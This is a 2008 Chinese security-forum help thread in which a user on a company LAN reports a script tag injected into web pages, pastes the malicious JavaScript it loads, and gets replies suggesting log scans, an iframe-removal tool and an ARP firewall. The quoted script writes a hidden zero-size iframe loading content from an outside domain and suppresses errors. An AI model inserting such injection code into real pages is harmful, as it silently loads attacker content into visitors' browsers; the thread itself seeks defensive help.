瑞星卡卡安全论坛技术交流区反病毒/反流氓软件论坛 昨天中路个病毒,请教怎么处理!在线等!!!

12   1  /  2  页   跳转

[求助] 昨天中路个病毒,请教怎么处理!在线等!!!

昨天中路个病毒,请教怎么处理!在线等!!!

昨天上了几个门户站,忽然发现页面字体比较乱,后来看原代码,不知道中了个什么病毒,至今还没搞定!请教各位!
具体如下:
在页面中都插入了这个代码:<script language="javascript" SRC="http://g.2b6fe62a.info/css.js"></script

导致网页中字体变大或者半天乱,对不齐!
请教怎么处理啊!!!!

此JS文件如下:

document.writeln("<script>");
document.writeln("function oK_Begin(){");
document.writeln("var Then = new Date() ");
document.writeln("Then.setTime(Then.getTime() + 24*60*60*1000)");
document.writeln("var cookieString = new String(document.cookie)");
document.writeln("var cookieHeader = \"Cookie1=\" ");
document.writeln("var beginPosition = cookieString.indexOf(cookieHeader)");
document.writeln("if (beginPosition != -1){ ");
document.writeln("} else ");
document.writeln("{ document.cookie = \"Cookie1=POPWINDOS;expires=\"+ Then.toGMTString() ");
document.writeln("document.write(\'<iframe width=0 height=0 src=\"http://g.2b6fe62a.info/ads.htm\"><\/iframe>\');");
document.writeln("}");
document.writeln("}");
document.writeln("oK_Begin();");
document.writeln("<\/script>");
document.writeln("<script>window.onerror=function(){return true;}<\/script>")

用户系统信息:Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; InfoPath.2)
分享到:
gototop
 

回复:昨天中路个病毒,请教怎么处理!在线等!!!

扫日志前关闭无用进程,如QQ,迅雷

到大的软件站,如天空,太平洋,下载2.6正式版版的SReng(推荐)

http://www.skycn.com/soft/45002.html
SREng/智能扫描

等扫描完成,保存日志(LOG格式)
日志以附件上传,贴到反病毒区或流行病毒区
PS:如主程序SREng**.exe无法运行,导致无法扫描日志
将主程序改名为小狮子.bat
gototop
 

回复: 昨天中路个病毒,请教怎么处理!在线等!!!

恩,测试日志见附件,请教怎么处理!在线等!
补充一下,这个病毒有时候出现又时候又没有,
出现的时候就是网页版面乱,不出现的时候就正常了!

附件附件:

文件名:SREngLOG.log
下载次数:112
文件类型:application/octet-stream
文件大小:
上传时间:2008-7-16 10:50:50
描述:log

gototop
 

回复:昨天中路个病毒,请教怎么处理!在线等!!!

日志正常
Lz是不是在局域网??
gototop
 

回复: 昨天中路个病毒,请教怎么处理!在线等!!!

用附件的工具,把这段代码,搜索并清除

http://g.2b6fe62a.info/css.js"></script>

附件附件:

文件名:iframekill.rar
下载次数:149
文件类型:application/octet-stream
文件大小:
上传时间:2008-7-16 11:01:36
描述:rar

我就是日不懂啊,没啥好介绍的
gototop
 

回复:昨天中路个病毒,请教怎么处理!在线等!!!

对,公司局域网!没问题吗?
反正出问题就是版面乱套,不出问题就都正常了!
时好时坏啊,怎么处理呢?
gototop
 

回复 5F 小日来了 的帖子

具体怎么做呀?多谢!
gototop
 

回复: 昨天中路个病毒,请教怎么处理!在线等!!!



引用:
原帖由 郁闷浪人 于 2008-7-16 11:05:00 发表
对,公司局域网!没问题吗?
反正出问题就是版面乱套,不出问题就都正常了!
时好时坏啊,怎么处理呢?


Lz安装360ARP防火墙
http://www.360.cn/down/soft_down11.html

单位的计算机都要安装!
gototop
 

回复:昨天中路个病毒,请教怎么处理!在线等!!!

啊,那个iframekill.rar也没搞定!
这个应该是网页病毒吧??应该不是ARP病毒哦!
gototop
 

回复: 昨天中路个病毒,请教怎么处理!在线等!!!



第一个图是中病毒时页面没对齐,下面字很大,超出了框框范围!
第二个图是网页源码,最上面一行就是插入的病毒代码。
用雅虎助手和360安全卫士修复过IE,但没用!
没人能解决吗?郁闷啊~
继续在线等!
gototop
 
12   1  /  2  页   跳转
页面顶部
Powered by Discuz!NT